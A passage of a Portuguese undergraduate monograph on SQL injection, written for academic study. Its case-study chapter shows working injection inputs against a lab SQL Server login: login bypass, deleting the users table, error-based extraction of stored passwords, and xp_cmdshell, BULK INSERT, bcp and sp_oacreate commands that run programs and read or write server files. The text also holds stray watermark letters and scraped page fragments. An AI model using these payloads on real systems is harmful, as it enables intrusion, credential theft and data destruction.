Figura 33 - Código de validação de usuário e senha
Ao digitar o nome e senha, a aplicação web dispara uma consulta na

N
tabela “USERS” para confirmação do cadastro do usuário. Se um registro for

encontrado, o username será retornado e esta é a confirmação de que o usuário foi
autenticado com sucesso. Se a consulta na tabela “USERS” não retornar registros, o
U
usuário não será autenticado.
O principal problema do código da figura 33 é o trecho responsável pela

montagem do comando sql que será executado destacado na figura 34.
var sql = "select * from users where username = '" +

username + "' and password = '" + password + "'";
Figura 34 - Código que concatena o comando SQL a ser executado
Este código não realiza nenhum tipo de validação nos dados que foram
digitados pelo usuário. Isso permite que um usuário mal intencionado, que conheça
54
somente o nome de um usuário válido, consiga “burlar” a digitação da senha

informando os seguintes parâmetros na tela de autenticação mostrada na figura 35.
Username: admin’—
Password:
Figura 35 - Parâmetro para login sem a necessiade de especificar a senha
No exemplo da figura 35 o usuário mal intencionado será autenticado

com sucesso, pois a seqüência de caracteres “--” faz com que todo o restante do
comando após esta seqüência seja considerado como comentário. O comando será
executado sem retornar erros, pois o código “"' AND PASSWORD = '" + PASSWORD
+ "'";” destacado na figura 16 não será processado, pois será reconhecido pelo banco
S
de dados como um comentário.
Agora suponha que, em oposição ao exemplo anterior, o invasor não
A
tenha conhecimento de um nome de usuário válido. Neste caso, é possível se
autenticar com as credenciais do primeiro usuário cadastrado na tabela “USERS”
conforme mostra a figura 36.
IN
Username: ’ or 1=1—
Password:
Figura 36 - Login com as credenciais do primeiro usuário cadastrado na tabela "USERS"
IM
A utilização destes parâmetros fará com que a comparação “1=1” seja

processada como parte da consulta. Como esta comparação é sempre verdadeira,
todos os registros da tabela serão retornados. Como seu resultado esta sendo
N
armazenado em uma variável, o nome do primeiro usuário será considerado. Nota-se

também que neste caso é utilizada a seqüência de caracteres “--” para que o restante
do código não seja processado.
U
Através dos comandos mostrados na figura 37 é possível excluir todos

os registros da tabela “USERS” de modo que nenhum usuário mais tenha acesso ao
sistema, utilizando então o SQL Injection para ataque de negação de serviço.
Username: ’ ; delete from users—

Password:
Figura 37 - Parâmetros de usuário e senha especificados por um usuário mal intencionado
55
Neste caso, a única novidade é o caractere “;” que especifica o término

de um comando SQL e o início de outro.
5.1.2. ATAQUES ATRAVÉS DA INTERPRETAÇÃO DAS MENSAGENS

DE ERRO
Para manipular os dados em um database, primeiro é preciso descobrir
a estrutura de alguns objetos. A tabela “USERS” utilizada nos exemplos anteriores foi
criada e populada através do código exibido na figura 38.
create table users(

id int,
username varchar(255),
password varchar(255),
privs int)
go
S
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
go
A
Figura 38 - Comando utilizado para a criação da tabela "USERS" e inserção de dados
IN
Na simulação utilizada, um possível usuário que queira cadastrar um
usuário nessa tabela para assim ter acesso ao sistema, precisaria conhecer a
estrutura da tabela ou ele terá poucas chances de sucesso. Mesmo que ele tenha
IM
sorte, o significado das colunas pode não ser claro o bastante – veja o caso da coluna
“PRIVS”, responsável pelo armazenamento dos privilégios dos usuários: um usuário
mal intencionado poderia inserir o valor “1” nessa coluna, quando na verdade gostaria
de atribuir o valor “65535” para que possuísse privilégios administrativos na aplicação.
N
Felizmente, para este usuário, se as mensagens de erro forem

retornadas diretamente da aplicação (comportamento padrão ASP), ele poderá
descobrir não só a estrutura da tabela – dependendo do padrão de segurança
U
atribuído ao usuário conectado no banco – mas também alterar e criar objetos

diretamente no banco de dados SQL Server. Será apresentado a seguir técnicas de
SQL Injection que permitem esse tipo de ataque.
Inicialmente o usuário precisa descobrir os nomes das tabelas e colunas

onde as consultas são executadas. Para isso, foi utilizada a cláusula HAVING do
comando SELECT.
56
Informando o texto: ‘having 1=1-- no campo Username tem-se a

mensagem de retorno demonstrada na figura 39.
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in
the select list because it is not contained in an aggregate function and there is no
GROUP BY clause.
/process_login.asp, line 35
Figura 39 - uso da cláusula "HAVING" para obtenção de um erro que retorna o nome da tabela e da sua primeira
coluna
Nesse momento já se sabe o nome da tabela (“USERS”) e sua primeira

coluna (“ID”) e pode-se continuar reproduzindo este erro, introduzindo agora o nome
da coluna descoberta em uma cláusula GROUP BY para descobrir o nome da coluna
S
seguinte.
Informando o texto: ‘ group by users.id having 1=1-- no campo
A
Username tem-se a mensagem de retorno demonstrada na figura 40.
IN
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid
in the select list because it is not contained in either an aggregate function or the
GROUP BY clause.
IM
Figura 40 - Uso da cláusula "HAVING" para obtenção de um erro que retorna o nome da segunda coluna da tabela
Com isso, é possível descobrir a coluna seguinte (“USERNAME”) e, em

N
um processo de repetição, obtêm-se os nomes de todas as colunas da tabela. Ao final

– quando todas as colunas forem utilizadas – o comando não retornará erro e tem-se
conhecimento de toda a estrutura da tabela “USERS” como apresentado na figura 41.
U
Username: ' group by users.id, users.username, users.password,

users.privs having 1=1--
Figura 41 - Uso da cláusula "HAVING" com todos os campos da tabela
A consulta processada pelo servidor ao serem informados os dados

mostrados na figura 42 é equivalente ao comando exibido na figura 24.
57
select * from users where username = ''
Figura 42 - Comando equivalente ao processado pelo servidor ao final do processo
Com isso sabe-se que a consulta referencia somente a tabela “USERS”

e as colunas utilizadas são “ID,USERNAME, PASSWORD, PRIVS” nesta ordem.
Seria interessante descobrir o tipo de dado de cada coluna. Isso é

possível com a utilização de uma mensagem de erro do tipo “type conversion”
conforme exibido na figura 43.
Username: ' union select sum(username) from users--
S
-- Error
A
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
IN
Figura 43 - Erro que permite identificar o tipo de dado de uma coluna

IM
Esta técnica se aproveita do fato do SQL Server processar a cláusula

SUM antes de verificar se o número de colunas presentes nos dois comandos
SELECT (necessário para processar o UNION) são iguais. A tentativa de executar
uma soma em uma coluna tipo caracter resulta em uma incompatibilidade,
N
caracterizada pelo erro que descreve a coluna “USERNAME” como VARCHAR.
Se por outro lado houver uma tentativa de executar a soma de um

U
campo numérico, o erro retornado informaria que o numero de colunas nos dois
comandos SELECT é diferente, o que pode ser constatado pelo código presente na
Figura 44.
58
Username: ' union select sum(id) from users--
-- Error

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL
statement containing a UNION operator must have an equal number of
expressions in their target lists.
Figura 44 - Erro que permite identificar se o tipo de dado de uma coluna é numérico
S
Esta técnica pode ser utilizada para identificar, de modo aproximado, o
tipo de dado de cada coluna em cada tabela no banco de dados. Assim, conhecendo-
se as colunas da tabela “USERS”, pode-se criar um comando INSERT coerente com a
estrutura da tabela apresentada na figura 45.
A
IN
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
Figura 45 - Cadastro realizado pelo usuário mal intencionado depois de obter a estrutura aproximada da tabela
O problema é que o potencial desta técnica não está limitado a esse

IM
tipo de ação. Na verdade um usuário mal intencionado pode se aproveitar de qualquer

mensagem de erro que revele informações sobre o ambiente ou banco de dados que
está sendo utilizado. Uma forma de explorar este recurso é através de mensagens
relacionadas com conversão de tipo de dados: tentando converter um tipo de dado
N
caractere (CHAR) em um tipo de dado numérico (INTEGER), todos os caracteres são

retornados na mensagem de erro. Com isso, é possível obter, por exemplo, a versão
do SQL Server utilizando e o sistema operacional. Um exemplo disso pode ser visto na
U
figura 46 a seguir.
59
Username: ' union select @@version,1,1,1--
-- Error
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC

SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft
SQL Server 2000 - 8.00.760 (Intel X86)
Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard
Edition on Windows NT 5.2 (Build 3790: Service Pack 1)' to a column of data type
int.
Figura 46 - Erro que retorna a versão do SQL Server e do sistema operacional
S
Esta mensagem de erro ocorre devido à tentativa de conversão da
variável global @@VERSION em um tipo de dado numérico, fato que acontece
A
porque a primeira coluna da tabela “USERS” é numérica.
Esta técnica pode ser utilizada para leitura de qualquer valor em

IN
qualquer tabela no banco de dados. Para obter nomes de usuários e senhas, um
usuário mal intencionado pode obter o nome dos usuários a partir da tabela “USERS”
utilizando o comando exibido na Figura 47.
IM
Username: ' union select min(username),1,1,1 from users where username > 'a'--
-- Error
N

SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to
a column of data type int.
U
Figura 47 - Erro que retorna o nome do primeiro usuário cadastrado na tabela "USERS"
O que este comando faz é selecionar o menor nome de usuário que é

maior do que ‘a’ e depois tenta convertê-lo para um tipo de dado numérico. Com isso,
sabe-se que a conta “ADMIN” existe. Agora pode-se navegar entre as linhas da tabela
60
substituindo cada novo nome de usuário descoberto na cláusula WHERE conforme

mostra a figura 48.
Username: ' union select min(username),1,1,1 from users where username >
'admin'--
-- Error

SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a
column of data type int.
S
Figura 48 - Erro que retorna o nome do segundo usuário cadastrado na tabela "USERS"
Uma vez descobertos todos os usuários cadastrados, pode-se ampliar o
A
ataque descobrindo senhas, conforme exibido na figura 49.
IN
Username: ' union select password,1,1,1 from users where username = 'admin'--
-- Error
IM

SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to
a column of data type int.
N
Figura 49 - Erro que retorna a senha do usuário "ADMIN"

U
Para obterem-se estas informações concatenam-se todos os usuários e

senhas em uma única seqüência de caracteres para então converter esta seqüência
para um tipo de dado numérico. E isso mostra outra informação, a de que comandos
T-SQL podem ser concatenados a exemplo disso.
Para isso pode-se usar dois comandos como mostrados na figura 50.
61
Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+
username +'/'+ password from users where username>@ret select @ret as ret into
foo end--
Username: ' union select ret,1,1,1 from foo--
-- Error

SQL Server Driver][SQL Server]Syntax error converting the varchar value ':
admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.
S
Figura 50 - Erro que retorna a todos os usuários e as senhas da tabela “USERS”
A
Sobre os dois comandos utilizados: o primeiro cria uma tabela “FOO” e
insere na coluna “RET” uma seqüência de caracteres. Se o usuário não possuir
privilégios para criação de uma tabela permanente, existe a opção de criar uma
IN
temporária. O segundo comando foi utilizado para converter esta string em um valor
numérico.
Estes exemplos dão uma visão superficial da flexibilidade desta técnica.

IM
De modo geral, quanto mais detalhada for a mensagem de erro que o usuário mal
intencionado recebe, mais fácil o seu trabalho.
5.1.3. OBTENDO MAIS ACESSOS

Uma vez adquirido o controle da estrutura dos objetos do banco de
N
dados, o próximo passo foi utilizar os direitos inerentes ao usuário para controle da
rede, e isso pode ser feito de várias formas:
U
1. A extended stored-procedure XP_CMDSHELL pode ser utilizada para

processar comandos no contexto do usuário que está executando o serviço do SQL
Server no servidor de banco de dados;
2. A extended stored procedure XP_REGREAD pode ser utilizada na

leitura de chaves do registro e potencialmente o SAM (Security Accounts Manager) –
caso o SQL Server esteja sendo executado com Local System Account;
3. Pela utilização de outras extended stored procedure no servidor;

62
4. Através a criação de extended stored procedures para execução de

aplicativos no contexto do processo do SQL Server;
5. O comando BULK INSERT pode ser utilizado na leitura de qualquer

arquivo no servidor;
6. O comando BCP pode ser utilizado para criação de arquivos

arbitrários no servidor;
7. As rotinas sp_OACreate e sp_OAGetProperty podem ser utilizadas

para criação de aplicações do tipo Ole Automation (ActiveX) que podem executar tudo
o que um script ASP pode executar.
Estes são alguns exemplos de ataques mais comuns. Existem muitas
S
outras formas que não foram simuladas neste trabalho. Estes cenários foram listados
como os mais óbvios em um ataque a um servidor SQL Server através de SQL
Injection e serão analisados a seguir.
A
5.1.3.1 ATAQUE A COMANDOS DO SISTEMA OPERACIONAL COM
XP_CMDSHELL
IN
Extended stored procedures são essencialmente DDLs (Dynamic Link
Libraries) compiladas que fazem uso de uma convenção de chamada específica do
SQL Server para a execução de suas funções. Elas permitem que aplicações SQL
Server tenham acesso a todo o potencial de programação do C/C++ e são um recurso
IM
extremamente útil. Um grande número de extended stored procedures já vem

embutidas no SQL Server e realizam várias tarefas, como envio de e-mails e interação
com o registro do servidor.
XP_CMDSHELL é uma das extended stored procedures que já vem

N
com o SQL Server e que permite a execução de linhas de comandos da mesma forma
que se executa no Command Prompt (DOS) do Windows. A figura 51 mostra um
exemplo da execução desta rotina com seu resultado.
U
63
S
A
IN
Figura 51 - Exemplo de execução da rotina “XP_CMDSHELL”
IM
Neste caso, lista-se todo o conteúdo da pasta “C:\”. É possível também,

listar todos os usuários do servidor, conforme mostra a figura 52.
N
U
64
exec master..xp_cmdshell 'net1 user'
output
-----------------------------------------------------------------------
NULL
User accounts for \\
NULL
-------------------------------------------------------------------------------
Administrator ASPNET Guest
IUSR_LOKI IWAM_LOKI SQLDebugger
SUPPORT_388945a0 WADM_LOKI
The command completed with one or more errors.
NULL
S
NULL
(10 row(s) affected)
A
Figura 52 - Exemplo de execução da rotina “XP_CMDSHELL” para listar todos os usuários do servidor
IN
Como o servidor SQL está sempre sendo executado com uma conta de
domínio ou como “Local System Account”, é possível fazer grandes estragos utilizando
esta rotina.
Vale lembrar que o SQL Server 2005 já vem com a extended stored
IM
procedure “XP_CMDSHELL” desabilitada [MSDN (2009)] diferentemente do SQL

Server 2000 utilizado nestes testes, que vem com ela habilitada.
5.1.3.2. ATAQUE AO REGISTRO COM XP_REGREAD

N
Outro conjunto de extended stored procedures que já vêm embutidas no

SQL Server são funções que começam com “XP_REG”. Elas são as seguintes:
xp_regaddmultistring
U
•
• xp_regdeletekey
• xp_regdeletevalue
• xp_regenumkeys
• xp_regenumvalues
• xp_regread
• xp_regremovemultistring
• xp_regwrite
65
Estas rotinas podem ser utilizadas, por exemplo, para determinar todos
os null-session shares 5 do servidor, conforme mostra a figura 53.
exec master..xp_regread HKEY_LOCAL_MACHINE,

'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
Value Data
------------------------------ --------- -----
nullsessionshares - Item #1 COMCFG NULL
nullsessionshares - Item #2 DFS$ NULL
(2 row(s) affected)
S
Figura 53 - Exemplo de execução da rotina “XP_REGREAD” para listar todos null-session shares do servidor
Através destas rotinas, é possível alterar as configurações de um
A
determinado serviço para que ele seja inicializado quando for realizada uma operação
de reinicialização no servidor.
IN
5.1.3.3. ATAQUES ATRAVÉS DE OUTRAS EXTENDED PROCEDURES
A extended stored procedure XP_SERVICECONTROL permite que o
usuário inicialize, finalize, pare ou continue um determinado serviço. A figura 54
mostra exemplos dessa rotina.
IM
exec master..xp_servicecontrol 'start', 'schedule'

exec master..xp_servicecontrol 'start', 'server'
Figura 54 - Exemplo de execução da rotina “XP_SERVICECONTROL” para iniciar serviços no servidor
N
Outras extended stored procedures podem ser utilizadas em ataques:
XP_ENUMDSN (lista os dispositivos ODBC criados no servidor);

U
•
• XP_LOGINCONFIG (exibe o modo de segurança do servidor);
• XP_MAKECAB (permite que o usuário crie arquivos
compactados no servidor);
• XP_NTSEC_ENUMDOMAINS (exibe os domínios que o servidor
tem acesso);
5
Null Session Shares são recursos compartilhados utilizados por aplicações que não são executadas no
contexto do usuário - por exemplo, aplicações executadas como Local System Account.
66
• XP_TERMINATE_PROCESS (finaliza um processo com um PID

específico).
5.1.3.4. ATAQUE COM CRIAÇÃO DE EXTENDED STORED PROCEDURES

A API das extended stored procedures é relativamente simples, assim
como não é muito difícil criar uma DLL que contenha código malicioso. Pode-se enviar
uma DLL para um servidor SQL Server utilizando linhas de comando Command
Prompt, assim como é possível utilizar mecanismos de comunicação que podem ser
automatizados como downloads HTTP ou scripts FTP.
Uma vez que a DLL está presente no servidor onde o SQL Server esta
instalado, pode-se criar, executar, e excluir uma extended stored procedure utilizando
os comandos presentes na figura 55.
S
use master
go
A
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
go
IN
exec xp_webserver
go
sp_dropextendedproc 'xp_webserver'
IM
GO
Figura 55 - Exemplo de criação, execução e exclusão de uma extended stored procedure
5.1.3.5. ATAQUE PELA LEITURA DE ARQUIVOS-TEXT COM BULK INSERT

N
Através do uso do comando BULK INSERT é possível atualizar uma

tabela a partir de um arquivo-texto. Assim, é possível, por exemplo, inserir o conteúdo
de um arquivo qualquer do servidor em uma tabela e ler o seu conteúdo utilizando
U
qualquer uma das técnicas de mensagens de erro comentadas anteriormente. A figura

56 mostra um exemplo disso.
create table foo( line varchar(8000) )

go
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'

GO
Figura 56 - Exemplo de uso do “BULK INSERT”
67
5.1.3.6. ATAQUE QUE RESULTA NA CRIAÇÃO DE ARQUIVOS COM O COMANDO

BCP
Conhecendo esta técnica é possível facilmente criar arquivos no
servidor utilizando uma técnica inversa à técnica ilustrada anteriormente. Essa técnica,
entretanto, requer a utilização de um utilitário de linha de comando nativo do SQL
Server: o BCP (Bulk Copy Program).
Como o BCP acessa o banco de dados através de um processo externo

ao SQL Server, é necessário um usuário válido para ativar a conexão. Se o servidor
estiver configurado para segurança integrada, o trabalho fica ainda mais fácil. Segue
abaixo, na figura 57, o exemplo utilizado no ambiente criado para simulação dos
ataques.
S
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -
Usa -Pfoobar
A
Figura 57 - Exemplo de uso do “BCP”
IN
Os parâmetros utilizados aqui são, “-S” para o nome do servidor, “-U”
para o nome do usuário SQL e “-P” para a senha deste usuário no servidor SQL. Para
utilizar segurança integrada, basta substituir os parâmetros -U e -P por -E.
IM
5.1.3.7. CRIAÇÃO DE SCRIPTS ActiveX: SP_OACreate e SP_OAGetProperty

Várias extended stored procedures que já vêm com o SQL Server
permitem a criação de scripts ActiveX. Estes scripts têm a mesma funcionalidade de
scripts que são executados no contexto do Windows Scripting Host ou de scripts ASP -
eles normalmente são escritos em VBScript ou JavaScript, e podem criar objetos e
N
interagir com eles. Um script desses escrito em Transact-SQL pode fazer tudo o que
um script ASP ou WSH pode fazer. O exemplo da figura 58 utiliza o objeto
“WSCRIPT.SHELL” para criar uma instância do aplicativo Notepad.
U
-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Figura 58 - Exemplo de uso das rotinas sp_OACreate e sp_OAGetProperty para executar o Notepad
68
6 – CONCLUSÃO
6.1 – CONCLUSÃO
A crescente importância dada à segurança da informação requer que

sejam definidos e implementados mecanismos mais eficientes para apoiar as
atividades que envolvam segurança da informação. Neste contexto, o objetivo deste
trabalho foi apresentar a importância na implementação de técnicas, metodologias,
modelos e práticas que apóiem o desenvolvimento de software seguro. As
contribuições dessa abordagem são:
• Destacar aspectos de segurança no tratamento das informações inseridas em
S
aplicações.
• Apresentar melhores práticas de instalação de bancos de dados.
A
• Discorrer sobre metodologias dirigidas ao desenvolvimento seguro de
softwares.
IN
• Relacionar requisitos de segurança fundamentais.
• Mostrar particularidades que aperfeiçoam questões de segurança na

condução do desenvolvimento de software.
IM
6.2 – PERSPECTIVAS FUTURAS
Como perspectiva mais imediata, a abordagem em engenharia de

software seguro apresentada neste trabalho pretende apoiar aqueles que desejam
N
aperfeiçoar processos de desenvolvimento de software para a obtenção de produtos

mais seguros.
U
Diversos trabalhos podem ser definidos e desenvolvidos com o

propósito de melhorar e estender a proposta apresentada, por exemplo:
• Estruturação do modelo de ciclo de vida para desenvolvimento de software

seguro apresentado através da formulação de documentação (artefatos) para
as fases especificadas e comparação desse modelo com outros.
• Proposição de um novo modelo de ciclo de vida para desenvolvimento de

software seguro.
69
• Criação de um framework para apoiar a aplicação dos requisitos funcionais de

segurança.
• Formulação de padrões de desenvolvimento que suportem se não todos,

alguns dos requisitos funcionais de segurança citados.
• Desenvolvimento de ferramentas de gerência para desenvolvimento de

softwares aderentes à norma ISO/IEC 15408.
• Elaboração de conteúdo pedagógico para capacitação de recursos humanos

(desenvolvedores, arquitetos e engenheiros de software) em segurança da
informação.
• Criação de ferramentas com maior inteligência e performance na análise de
S
código fonte.
A
IN
IM
N
U
70
7 – REFERÊNCIAS
ALBUQUERQUE, R; RIBEIRO, B. “Segurança no Desenvolvimento de Software”,

Editora Campus, 2002.
CARVALHO, A. et al. Introdução à engenharia de software. Unicamp. 2001.
CONALLEN, Jim (2003). Desenvolvendo Aplicações Web com UML, Campus.
CONNOLLY, Thomas, CAROLYN, Begg and STRACHAN, Anne, Database Systems,

A Pratical Approach to Design, Implementation and Management, Addison-Wesley
2nd Edition, 1999.
DATE, C.J. "Introdução a sistemas de Banco de Dados". Rio de Janeiro: Campus,
S
2000.
GUEZZI, C.; JAZAYERI, M. Fundamentals of Software Engineering, Prentice-Hall,

1991.
A
HOPCROFT, John; ULLMAN, Jeffrey (1979), Introduction to automata theory,
IN
languages, and computation, Addison-Wesley, pp. 185–192.
ISO/IEC 9126-1:2001; Software engineering -- Product quality
JOELSCAMBRAY, MIKE SHEMA (2003). Segurança contra hackers: Aplicações

IM
WEB, Futura.
MELO, Rubens. (1997). Banco de Dados em Aplicações Cliente/Servidor. São

Paulo: IBPI.
N
MSDN. (2009). Manuais Online do SQL Server 2008. Disponível em:

http://msdn.microsoft.com/pt-br/library/ms190693.aspx
U
SILBERSCHATZ, Abraham; KORTH, Henry; SUDARSHAN, S. "Sistema de Banco de

Dados". São Paulo: Makron Books, 1999.
SIPSER, Michael (2006). "Section 4.2: The Halting Problem". Introduction to the
Theory of Computation (Second Edition ed.). PWS Publishing. pp. pp.173–182. ISBN
053494728X.
71
TECHNET. (2003). SQL Server 2000 SP3 Security Features and Best Practices:
Security Best Practices Checklist. Disponível em: http://technet.microsoft.com/en-
us/library/cc966456.aspx
TORRES, D. Segurança Máxima de Software, Brasport, 2003.
YOURDON, E. Projetos Virtualmente Impossíveis, Makron Books, 1999.
S
A
IN
IM
N
U

Monografia - Ataque SQL Injection - ELIAS FERRIRA

Enviado por

Dados do documento

Direitos autorais

Formatos disponíveis

Compartilhar este documento

Compartilhar ou incorporar documento

Opções de compartilhamento

Você considera este documento útil?

Este conteúdo é inapropriado?

Direitos autorais:

Formatos disponíveis

Monografia - Ataque SQL Injection - ELIAS FERRIRA

Enviado por

Direitos autorais:

Formatos disponíveis

UNIÃO EDUCACIONAL MINAS GERAIS S/C LTDA

FACULDADE DE CIÊNCIAS APLICADAS DE MINAS

Orientador: Prof. Esp. Leandro de Souza Lopes

“SQL INJECTION” EM APLICAÇÕES WEB

Monografia apresentada à Faculdade de

Uberlândia, 09 de maio de 2009.

Dedico este trabalho aos meus pais Ronaldo e

Informação tornou-se um ativo valioso e estratégico. A chamada “era da

informação”, caracterizada principalmente pela inclusão digital e disseminação da

Internet, disponibilizou um grande volume de informação cuja precedência na história,

confidencialidade, integridade e disponibilidade das informações comprometessem a

tendência inicial de expansão, gerando desconfianças quanto ao modo como tais

informações são armazenadas, transmitidas e processadas. Os processos de melhoria

das funcionalidades em aplicações não resultaram no desenvolvimento de produtos

funcionalidades e facilidades e garantia da segurança da informação para atenuar os

de desenvolvimento preocupada com a produção de software naturalmente seguro. O

trabalho apresenta também as principais falhas que geralmente são exploradas e

como implementar barreiras que limitam o sucesso de tais ataques.

processed. The processes of improvement of the functionalities in applications had not

fast implementation of functionalities and easiness’s and guarantee of the security of

a methodology of development worried about the production of safe software. This

implement barriers that limit the success of such attacks.

Figura 1 - Gráfico representando o crescimento de vulnerabilidades relacionadas a SQL

Figura 22 - Exemplo de comando para explorar mensagens de erro ......................................... 40

Figura 28 - Exemplo de código com tratamento de dados de entrada....................................... 45

LISTA DE ABREVIATURAS E SIMBOLOS

AJAX - Asynchronous JavaScript and XML

ANSI - American National Standards Institute

API - Application Program Interface

ARPA - Advanced Research Projects Agency

ASCII - American Standard Code for Information Interchange

ASP - Active Server Pages

CGI - Common Gateway Interface

DBMS - Data Base Management System

DER - Diagrama de Entidade-Relacionamento

DML - Linguagem de Manipulação de Dados

FTP - File Transfer Protocol

HTML - Hypertext Markup Language

HTTP - Hypertext Transfer Protocol

IDEF - Integration Definition for Function Modelling

IDS - Intrusion Detection System

IEC - International Electrotechnical Commission

IIS - Internet Information Services (servidor web da Microsoft)

IPS - Intrusion Prevention System

ISO - International Standards Organization

JSP - Java Server Pages

PHP - Personal Home Page: Hypertext Preprocessor

RSS - Really Simple Syndication

SAM - Security Accounts Manager

SGBD - Sistema de Gerenciamento de Banco de Dados

SQL - Structured Query Language

SSL - Secure Socket Layer

WWW - World Wide Web

XML - eXtensible Markup Language

1.1 – CENÁRIO ATUAL ......................................................................................................................12

2 – BANCOS DE DADOS E APLICAÇÕES WEB .........................................................................18

2.1 – BANCOS DE DADOS................................................................................................................18

3 – O ATAQUE SQL INJECTION, SUAS VARIAÇÕES E TÉCNICAS DE PREVENÇÃO. .......34

3.1.2 – O ATAQUE .........................................................................................................................35

4 – COMO SE PREVENIR DE ATAQUES SQL INJECTION........................................................43

4.1 – VALIDAÇÃO DE ENTRADA .....................................................................................................43

4.3.1 – ALTERAÇÃO DAS MENSAGENS DE ERRO.....................................................................46

5 – ESTUDO DE CASO ....................................................................................................................51

5.1. PLATAFORMA UTILIZADA........................................................................................................51